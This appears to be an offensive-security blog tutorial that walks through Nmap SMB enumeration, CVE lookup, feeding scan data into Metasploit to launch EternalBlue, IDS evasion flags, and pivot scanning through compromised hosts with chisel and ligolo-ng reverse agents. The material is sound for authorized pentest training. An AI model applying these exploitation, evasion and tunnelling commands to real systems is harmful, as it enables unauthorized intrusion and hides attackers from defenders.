SMB enumeration, CVE mapping, Metasploit integration, evasion, and pivot scanning — one chain.
Most Nmap articles teach you to scan. This one teaches you what to do with the results.
There's a gap that doesn't get talked about enough — the space between "port 445 is open" and actually knowing what that means for an engagement. Most people fill it by Googling, copy-pasting IPs manually, running tools in isolation, and losing track of what they found where. This article covers the entire chain from scan output to actionable findings, with the Metasploit integration, evasion profile, and pivot scanning techniques that the beginner guides skip entirely.
If you haven't read Nmap Is a Scanning Framework, Not Just a Port Scanner yet, that covers the scan mechanics and NSE fundamentals that this article builds on. Start there if you're newer to Nmap. If you already know your scan types and want the offensive workflow — you're in the right place.
Every example here ran against real lab targets — OffSec Proving Grounds, TryHackMe, and INE Labs. IPs redacted throughout.
📌 Examples use Nmap 7.94–7.98 on Kali Linux. PostgreSQL required for Metasploit integration — covered in its section. All techniques require explicit written authorization before use on any system you do not own.
1. SMB Enumeration → protocol, security posture, shares, users, vulnerability checks
2. Version Strings → CVE → extract versions, automated lookup, local verification
3. Metasploit Pipeline → import scan data, query results, auto-populate targets
4. Evasion → timing, fragmentation, decoys, alternative scan types
5. Pivot Scanning → reach internal networks through a compromised host
SMB exposes more to unauthenticated scanners than almost any other Windows service. Before supplying a single credential, the right script chain returns OS version, protocol support, security configuration, share names, usernames, and vulnerability status — all from the network edge.
Run these steps in order. Each one determines what the next can access. That sequencing isn't just preference — skip protocol detection and you'll spend twenty minutes debugging why your vuln scripts returned nothing, when the answer is simply that SMBv1 wasn't present.
bash
nmap -p 139,445 -sV <TARGET_IP>
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
-sV returns a range. For the exact OS build — which matters for vulnerability scoping — run smb-os-discovery:
bash
nmap --script smb-os-discovery -p 445 <TARGET_IP>
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1
| Computer name: Jon-PC
| Workgroup: WORKGROUP
|_ System time: 2026-04-27T21:22:10-05:00
Windows 7 SP1 scopes the vulnerability research completely differently than "Windows 7–10." SP1 means MS17-010, MS14-068, and a long list of unpatched kernel vulnerabilities are all candidates. That version ranges from -sV tells you nothing useful.
bash
nmap --script smb-protocols -p 445 <TARGET_IP>
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 2.02
|_ 2.10
SMBv1 present or absent shapes the rest of the workflow. Scripts like smb-vuln-ms17-010 and RPC-based user enumeration depend on SMBv1 — on targets without it, they return nothing or behave unexpectedly. Running protocol detection first removes the guesswork when a later script produces no output. You'll know it's a configuration issue, not a tool failure.
bash
nmap --script "smb-security-mode,smb2-security-mode" -p 445 <TARGET_IP>
| smb-security-mode:
| account_used: guest
| authentication_level: user
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
message_signing: disabled on SMBv1 means no packet integrity checking — the condition that makes NTLM relay attacks possible. An attacker with network position between client and server can intercept authentication and reuse it without either side noticing. On SMBv2, "enabled but not required" is the default on member workstations and most servers; domain controllers enforce "required" by default. Both unsigned configurations are worth documenting in a report.
Script output varies by target configuration — run both scripts and compare rather than treating either result as definitive on its own.
bash
nmap --script "smb-enum-shares,smb-enum-users" -p 445 <TARGET_IP>
| smb-enum-shares:
| account_used: <blank>
| \\TARGET\ADMIN$: Anonymous access: <none>
| \\TARGET\C$: Anonymous access: <none>
|_ \\TARGET\IPC$: Anonymous access: READ
| smb-enum-users:
| WORKGROUP\Administrator (RID: 500)
| WORKGROUP\Guest (RID: 501)
|_ WORKGROUP\Jon (RID: 1001)
ADMIN$ and C$ blocking anonymous access is expected. What you're actually looking for is non-default shares — \\TARGET\Backup, \\TARGET\Transfers, \\TARGET\IT_Files — anything with anonymous READ/WRITE that someone added and forgot about. That's where credentials, configuration files, and deployment scripts tend to live.
On users: RID 500 is always built-in Administrator, RID 501 is always Guest. Custom accounts start at RID 1000+. Jon at RID 1001 is the first account someone created on this machine — a confirmed valid username that goes straight into your wordlist for follow-on testing.
smb-enum-users relies on RPC calls over SMBv1 pipes. On hardened targets or those without SMBv1, it returns nothing — expected, not a bug.
bash
nmap --script "smb-vuln-ms17-010,smb-double-pulsar-backdoor" -p 445 <TARGET_IP>
| smb-vuln-ms17-010:
| VULNERABLE:
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| Disclosure date: 2017-03-14
MS17-010 (EternalBlue) — detection only, no exploitation. CVE ID, risk rating, and disclosure date come out report-ready in one run. A positive smb-double-pulsar-backdoor result means the DoublePulsar backdoor may still be active — the host was likely previously compromised and the backdoor was never cleaned up. That's a different conversation than a fresh vulnerability.
Some legacy systems — Windows XP, Server 2003 — can become unstable under SMB probe traffic. Run OS and protocol detection before firing vuln scripts against anything that looks old. Crashing a production system mid-scan is a bad day for everyone.
Unauthenticated enumeration shows you the surface. Authenticated enumeration shows you what's actually accessible.
bash
nmap --script "smb-enum-shares,smb-enum-users,smb-enum-sessions" \
--script-args smbusername=Jon,smbpassword=<PASS> -p 445 <TARGET_IP>
| smb-enum-shares:
| account_used: Jon
| \\TARGET\ADMIN$: Current user access: <none>
| \\TARGET\C$: Current user access: <none>
| \\TARGET\IPC$: Current user access: READ/WRITE
| \\TARGET\IT_Share: Current user access: READ/WRITE
| smb-enum-sessions:
| Active SMB sessions
|_ DOMAIN\sysadmin is connected from \\10.10.x.20
ADMIN$ and C$ showing no access means Jon isn't an administrator — can't reach the default admin shares. A non-default share with READ/WRITE is your immediate next step: what's in it, and can you write something that gets executed?
smb-enum-sessions in a real engagement is the lateral movement map. DOMAIN\sysadmin connected from 10.10.x.20 — that machine is your next target. If you can get onto it, you're talking to a domain admin session.
bash
nmap --script "smb-protocols,smb-security-mode,smb2-security-mode,\
smb-enum-shares,smb-enum-users,smb-vuln-ms17-010,smb-double-pulsar-backdoor" \
-p 139,445 -sV <TARGET_IP>
Steps 2–5 in one run. Full picture before you've typed a single credential.
A version string isn't metadata. It's a lookup key against every public vulnerability database and exploit repository that exists. Most people note it and move on — the ones who don't are the ones who find the EternalBlue instance that's been sitting unpatched since 2017.
bash
nmap -sV -p 21,22,25,445 <TARGET_IP>
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh libssh 0.8.3 (protocol 2.0)
25/tcp open smtp Haraka smtpd 2.8.8
445/tcp open netbios-ssn Samba smbd 3.X - 4.X
Three exact versions, one vague range. Samba 3.X - 4.X is useless for CVE lookup — that range spans eleven years of releases and thousands of vulnerabilities. When -sV returns a range, pull the actual version from the service directly:
bash
smbclient -L <TARGET>
IPC$ IPC Service (Samba 4.1.17)
Samba 4.1.17 — now it's useful. If -sV still returns something partial after a standard scan, --version-all fires every available probe. Slower, but worth it when you're working with an obscure or hardened service.
--script vulnersbash
nmap --script vulners -sV -p 21,22,25 <TARGET_IP>
21/tcp open ftp vsftpd 2.3.4
| vulners:
| CVE-2011-2523 10.0 vsftpd 2.3.4 backdoor
| CVE-2011-0762 4.0 DoS via crafted glob expression
22/tcp open ssh libssh 0.8.3
| vulners:
| CVE-2018-10933 9.8 Authentication bypass
| CVE-2019-14889 8.8 Arbitrary command execution
25/tcp open smtp Haraka smtpd 2.8.8
| vulners:
| CVE-2016-1000282 9.8 Remote command execution
CVE IDs and CVSS scores in scan output before you've opened a browser. Scores ≥ 7.0 are generally worth investigating first as a triage heuristic — but CVSS score alone doesn't tell you whether an exploit is practical. A 9.8 that requires a specific non-default configuration or an obscure trigger condition may be less actionable than a 7.0 with a one-line Metasploit module. Always read the CVE details.
vulners queries an external API. In lab environments or air-gapped networks, it returns nothing — not because nothing is vulnerable, but because the outbound connection is blocked. When that's the case, go straight to local verification.
--script vuln--script vuln runs built-in NSE scripts that actively probe the service. No internet required. Results are grounded in direct probe responses, not version matching — which matters when you want something defensible in a report.
bash
nmap --script vuln -sV <TARGET_IP>
Against vsftpd 2.3.4:
21/tcp open ftp vsftpd 2.3.4
| ftp-vsftpd-backdoor:
| VULNERABLE:
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2011-2523
| Exploit results:
| Shell command: id
| Results: uid=0(root) gid=0(root) groups=0(root)
Read that output carefully. The ftp-vsftpd-backdoor script doesn't just detect this vulnerability — it actively exploits it as part of verification. uid=0(root) means code executed on the target during your scan. In an authorized engagement, that's your strongest possible evidence — a root shell confirmed from the scan output alone. Outside authorized scope, that same command is unauthorized access to a computer system. Run --script-help <script> before using any unfamiliar script on a live target so you know exactly what it does.
Against Haraka 2.8.8:
| smtp-vuln-cve2010-4344:
|_ The SMTP server is not Exim: NOT VULNERABLE
NOT VULNERABLE is a valid and useful result. The script ran, the service responded, this CVE doesn't apply. Don't discount clean output — it goes in the report too.
For libssh 0.8.3, --script vuln returns nothing — no dedicated NSE script exists for CVE-2018-10933 in current Nmap versions. No output means "no matching local script," not "not vulnerable." That's where searchsploit picks up.
searchsploitbash
searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
bash
searchsploit libssh
libSSH - Authentication Bypass | linux/remote/45638.py
LibSSH 0.7.6/0.8.4 - Unauthorized Access | linux/remote/46307.py
bash
searchsploit "haraka 2.8"
Haraka < 2.8.9 - Remote Command Execution | linux/remote/41162.py
.rb means a Metasploit module exists — one use command from testing. unix/remote/ or linux/remote/ means network-exploitable without prior access. linux/local/ requires a foothold first. Version ranges in titles matter: Haraka < 2.8.9 with a target at 2.8.8 is confirmed in range.
The libssh result needs a closer look. LibSSH 0.7.6/0.8.4 with a target at 0.8.3 — read the actual exploit script for the exact affected range before treating it as confirmed. Version boundary claims in titles aren't always precise, and the difference between "in range" and "just outside it" changes your entire finding.
A vulners hit or a searchsploit result is a lead. Three checks before it enters a report:
Version range — verify against the NVD entry, not the searchsploit title. They sometimes disagree.
Attack prerequisites — local access required? Prior auth? A specific non-default config flag? Each condition reduces exploitability and should be reflected in severity.
Backport patches — this one catches people regularly. Debian and Ubuntu apply security fixes without updating the upstream version string. OpenSSH 5.9p1 with package suffix 5ubuntu1.10 may have CVE-2015-5600 already patched — that .10 means ten rounds of updates to that package since the upstream release. A quick way to check without shell access: if the suffix revision number is high, assume patching has happened and flag as "verify on exploitation" rather than confirmed vulnerable. The report note looks like: "Version string indicates potential exposure; package revision suggests backported patches may be present. Verify during exploitation phase." That's honest and defensible.
You've got version strings, CVEs, and NSE findings. Now here's where most people slow down — copying IPs manually into RHOSTS, rescanning to refresh memory on what was open where, losing track of which hosts were checked. The fix is a direct pipeline from Nmap into Metasploit's database. Scan once, use everywhere.
bash
sudo service postgresql start
sudo msfdb init # one-time only
msfconsole
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Always check db_status first. If it returns No database, run sudo msfdb reinit outside msfconsole. Everything below depends on this connection being live.
bash
msf6 > workspace -a lab_target # create and activate
msf6 > workspace # list all; * marks active
msf6 > workspace -d old_lab # delete
Create a workspace before importing anything. Mixing data from different engagements in the default workspace is how you end up running modules against the wrong targets.
db_nmap — scan directly from inside msfconsole. Results go straight into the database, no import step:
bash
msf6 > db_nmap -sS -sV -p 21,22,80,445 <TARGET>
db_import — import XML from scans already run outside Metasploit:
bash
nmap -sV --script vuln -oA /root/scan_stage1 <TARGET>
msf6 > db_import /root/scan_stage1.xml
[*] Importing host 192.157.206.3
[*] Successfully imported /root/scan_stage1.xml
Import multiple scans into the same workspace and they merge cleanly — every host, port, and service from every phase in one queryable dataset. The -oA XML is also your evidence record. db_nmap is faster for quick mid-session checks; db_import fits staged methodology better because your scan files exist independently of Metasploit.
bash
msf6 > hosts # all discovered machines
msf6 > services # all ports from all imported scans
msf6 > services -p 445 # filter by port
msf6 > vulns # NSE vulnerability findings — populated when --script vuln ran
The -R flag sets RHOSTS directly from a query result — this is the feature most guides skip entirely:
bash
msf6 > services -p 445 -R
RHOSTS => 192.157.206.3
Twenty machines with port 445 open becomes twenty IPs in RHOSTS in one command. No copy-pasting, no manual typing, no missed hosts. Load the module and run:
bash
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > run
Same pattern for any port and any module. services -p 22 -R into an SSH brute module. services -p 3306 -R into a MySQL scanner. The database becomes the connective tissue between discovery and testing.
When the engagement ends:
bash
msf6 > db_export -f xml /root/engagement_export.xml
Everything — hosts, services, vulnerabilities, session data — in one file. Archive it.
A default nmap -sS isn't subtle. SYN scan patterns are fingerprinted by most IDS platforms, logged by corporate firewalls, and blocked by some entirely. The flags below target specific detection methods — knowing which method detects which behavior tells you which flag to reach for first, rather than stacking everything and hoping something works.
Rate and pattern — many ports probed rapidly from one source IP. Statistical detection, not signature-based. Slow down and the pattern disappears.
Packet signatures — Nmap's default TTL values, TCP window sizes, and payload lengths are fingerprinted in IDS rulesets. Change them and signature matching breaks.
Flag combinations — SYN-based scanning has dedicated detection rules. Alternative scan types built on TCP RFC behavior bypass rules written specifically for SYN traffic.
bash
sudo nmap -T1 --max-rate 5 -p 22,80,443 <TARGET_IP>
Nmap done: 1 IP address scanned in 60.17 seconds
60 seconds for three ports. That's the cost. Statistical detection looks for bursts — 60 seconds of spread-out probes has no burst signature. -T1 with --max-rate 5 is the practical stealth baseline. For per-probe precision instead of an overall rate cap:
bash
sudo nmap --scan-delay 2s -p 22,80 <TARGET_IP>
bash
sudo nmap -f --mtu 16 -p 22 <TARGET_IP> # fragment into chunks
sudo nmap --data-length 25 -p 22 <TARGET_IP> # append 25 random bytes
sudo nmap --ttl 64 -p 22 <TARGET_IP> # match Linux TTL
sudo nmap --ttl 128 -p 22 <TARGET_IP> # match Windows TTL
Fragmentation is less effective against modern IDS than it was — current platforms reassemble correctly. It's still worth including in a combined profile because it costs nothing in scan time and may trip up older signature rules that aren't looking for it. --data-length moves payload size off Nmap's predictable defaults. --ttl is the most underused flag here — blending into the surrounding traffic's TTL baseline is quiet in a way that pure rate manipulation isn't.
bash
sudo nmap -sN -p 22,80 <TARGET_IP> # NULL
sudo nmap -sF -p 22,80 <TARGET_IP> # FIN
sudo nmap -sX -p 22,80 <TARGET_IP> # Xmas
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp closed http
RFC 793 says open ports don't respond to packets with unusual flag combinations — closed ports send RST. Most IDS rules target SYN specifically; these scans contain no SYN flag and bypass those rules. open|filtered is the expected output for open ports — silence is indistinguishable from a filtered port without further probing. That ambiguity is acceptable when the goal is evasion, not definitive enumeration.
Unreliable against Windows — Windows sends RST regardless of port state, making results meaningless. Use -sS or -sT on Windows targets.
--badsum — Read the Environment Before You CommitBefore finalizing your evasion profile, run this:
bash
sudo nmap --badsum -p 22,80 <TARGET_IP>
Sends packets with deliberately incorrect checksums. A properly functioning TCP/IP stack drops them silently — you get filtered or nothing. If anything else comes back, something in the network path is processing packets before checksum validation. That tells you an IDS is active and inspecting traffic before it reaches the host. Adjust your profile before you commit to a full scan. This is a diagnostic tool, not a scan technique — run it first, not last.
bash
sudo nmap -g 53 -p 22,80 <TARGET_IP> # source port: DNS
sudo nmap -D RND:5 -p 22 <TARGET_IP> # five random decoys
sudo nmap -D 10.0.0.1,10.0.0.2,ME,10.0.0.3 <TARGET_IP> # position your IP explicitly
-g 53 targets a specific misconfiguration — firewall rules that trust source port 53 traffic as DNS. Where that rule exists, your scan traffic rides through it. Not a general bypass. Decoys send spoofed packets from multiple source IPs alongside your real traffic; the target sees a crowd, not a single scanner. Decoys must be routable — spoofed packets from unreachable IPs don't reach the target.
For full source concealment when you've found a suitable host:
bash
sudo nmap -sI <zombie_host> <TARGET_IP>
The idle scan exploits predictable IP ID incrementation — probe the zombie before and after sending spoofed packets to the target, and the change in IP ID tells you whether the port is open, without your real IP ever appearing in the target's traffic. A usable zombie returns Incremental! from --script ipidseq. Modern Linux kernels return All zeros — unusable. Windows XP, older printers, and some embedded devices still work. Finding one on a modern network is rare, but when you do, it's the cleanest source concealment available.
bash
sudo nmap -sS -T1 -f --mtu 16 -D RND:5 -g 53 \
--data-length 15 --ttl 64 --scan-delay 2s \
-p 22,80,445 <TARGET_IP>
|
Flag |
Addresses |
|---|---|
|
|
Rate-based and statistical detection |
|
|
Fragmentation-blind signature matching |
|
|
Source IP attribution |
|
|
Source-port allowlist rules |
|
|
Payload length signatures |
|
|
OS fingerprint signatures |
Two ports at this profile: roughly 60 seconds. Full /24: hours. Modern EDR with behavioral analysis may still flag slow methodical scanning regardless of packet-level changes — that kind of detection works on patterns over time, not individual packet inspection. This profile handles IDS and firewall detection well. Against mature EDR, timing is your only real lever and there's a floor on how slow you can go while still completing the scan.
You have a foothold. The network you need to assess isn't directly reachable from your machine. Every lab teaches you to exploit — fewer walk through what happens after, when you're staring at a second interface on the pivot and need to scan a subnet that doesn't route to you.
Three approaches, ordered by reliability:
Layer 1 — Scan from the pivot directly Most reliable; use when Nmap is available
Layer 2 — SOCKS proxy + proxychains TCP scans from Kali; known limitations
Layer 3 — TUN routing via ligolo-ng Full capability from Kali; no restrictions
bash
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-rsa \
user@<PIVOT_IP>
ip a # what interfaces does this machine have?
ip route # what can it route to?
If there's a second interface on 10.30.1.0/24, that's your internal network. Find live hosts with a ping sweep from the pivot before deciding which scanning layer to use — this tells you what exists before you've committed to a tunnel approach:
bash
for i in $(seq 1 254); do
ping -c1 -W1 10.30.1.$i 2>/dev/null | grep "64 bytes" && echo "10.30.1.$i is UP"
done
If Nmap is on the pivot, use it directly:
bash
nmap -sT -PN -sV -p 21,22,80,3306 10.30.1.111
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian
80/tcp open http Apache httpd 2.2.8
3306/tcp open mysql MySQL 5.0.51a
No overhead, no restrictions. This is the ground truth — if Layer 2 gives inconsistent results later, compare against this. One practical issue: older pivot machines often run outdated Nmap versions that don't support NSE categories (--script vuln will throw an error on Nmap 4.x). When that happens, run script scans from Kali through a tunnel rather than fighting the version limitation.
Proxychains intercepts TCP connect calls and routes them through SOCKS. That is literally all it does. Raw sockets, ICMP, and UDP don't pass through it — which makes several scan types completely non-functional, not just slow:
Works: proxychains nmap -sT -Pn -n ← the only viable combination
Breaks: proxychains nmap -sS ← raw sockets, not interceptable
Breaks: proxychains nmap -sU ← UDP not relayed
Breaks: proxychains nmap -O ← OS detection needs raw sockets
SSH dynamic forwarding:
bash
ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=+ssh-rsa \
-D 1080 -N user@<PIVOT_IP>
Chisel (when SSH forwarding isn't an option):
bash
# Kali
./chisel server --reverse --port 8080
# Pivot
./chisel client <KALI_IP>:8080 R:socks
Set /etc/proxychains4.conf to socks5 127.0.0.1 1080. Before scanning, verify the tunnel actually routes:
bash
proxychains curl -s http://10.30.1.111 2>/dev/null | head -3
If curl fails, fix the tunnel first. Debugging Nmap output when the proxy isn't routing wastes time on the wrong problem.
The "all filtered" problem: SOCKS adds per-connection overhead and latency. When responses arrive after Nmap's timeout threshold, open ports come back as filtered. This is a timing issue, not always an actual network block — and it's situational, not guaranteed to happen on every tunnel. Reduce concurrency and extend retries before concluding the ports are blocked:
bash
proxychains nmap -sT -Pn -n \
--max-parallelism 1 \
--scan-delay 500ms \
--max-retries 3 \
-p 21,22,80,3306 10.30.1.111
If results remain inconsistent after tuning, the tunnel latency is too high for -sT timeouts to compensate. Move to Layer 3.
ligolo-ng creates a TUN interface on Kali that makes the internal subnet appear as a directly routable local network. No proxychains wrapper, no TCP-only restriction, no timing gymnastics — you scan as if the target is directly on your network.
bash
# Get the latest release: https://github.com/nicocha30/ligolo-ng/releases
# One-time TUN interface setup on Kali
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
# Start the proxy on Kali
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
# Transfer agent to pivot, then connect back
./agent -connect <KALI_IP>:11601 -ignore-cert
In the ligolo-ng console:
bash
ligolo-ng » session
ligolo-ng » tunnel_start --tun ligolo
Add the route on Kali, then scan normally:
bash
sudo ip route add 10.30.1.0/24 dev ligolo
nmap -sS -Pn -sV -p 21,22,80,3306 10.30.1.111
SYN scans work. UDP works. OS detection works. NSE scripts work. Everything that Layer 2 can't give you.
If you already have a Meterpreter session, Metasploit's built-in routing achieves the same result without a separate tool:
bash
msf6 > route add 10.30.1.0 255.255.255.0 <session_id>
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
Point proxychains at port 1080 — same usage as SSH or Chisel, routing handled through the session.
Is Nmap installed on the pivot?
YES → Layer 1. Fastest, most accurate, no restrictions.
NO ↓
Can you set up a SOCKS tunnel?
YES → Layer 2: proxychains nmap -sT -Pn -n
Still unreliable after timing tuning? → Layer 3
NO ↓
Need SYN scans, UDP, or OS detection from Kali?
YES → Layer 3: ligolo-ng or MSF route
bash
# SMB recon — unauthenticated
nmap --script "smb-protocols,smb-security-mode,smb2-security-mode,\
smb-enum-shares,smb-enum-users,smb-vuln-ms17-010" \
-p 139,445 -sV <TARGET>
# Version mapping → CVEs
nmap -sV -p 21,22,25,80,445 <TARGET>
nmap --script vulners -sV <TARGET> # internet-connected only
nmap --script vuln -sV <TARGET> # local verification, always
searchsploit <service> <version>
# Metasploit pipeline
sudo service postgresql start && msfconsole
msf6 > workspace -a engagement
msf6 > db_import /root/scans.xml
msf6 > services -p 445 -R
msf6 > use exploit/windows/smb/ms17_010_eternalblue && run
# When detection is a concern
sudo nmap -sS -T1 -f -D RND:5 -g 53 \
--data-length 15 --ttl 64 --scan-delay 2s \
-p 22,80,445 <TARGET>
# When the target is behind a pivot
# Layer 1: nmap -sT -PN -sV ... (from the pivot)
# Layer 2: proxychains nmap -sT -Pn -n --max-parallelism 1 (from Kali)
# Layer 3: ligolo-ng → nmap -sS -sV ... (from Kali, no wrapper)
The chain from first port to compromised host isn't linear in practice — you loop back, hit dead ends, find things that don't match the expected path. What these techniques give you is a systematic way to extract everything a service is willing to tell you before you escalate. The scan output that most people scroll past is usually where the engagement actually starts.
🔒 All techniques here apply only to systems you own or have explicit written authorization to test. Several NSE scripts — including
ftp-vsftpd-backdoor— actively exploit vulnerabilities during verification, not just detect them. Run--script-help <script>before using any script on a live target. Operating without authorization is illegal regardless of whether detection is evaded.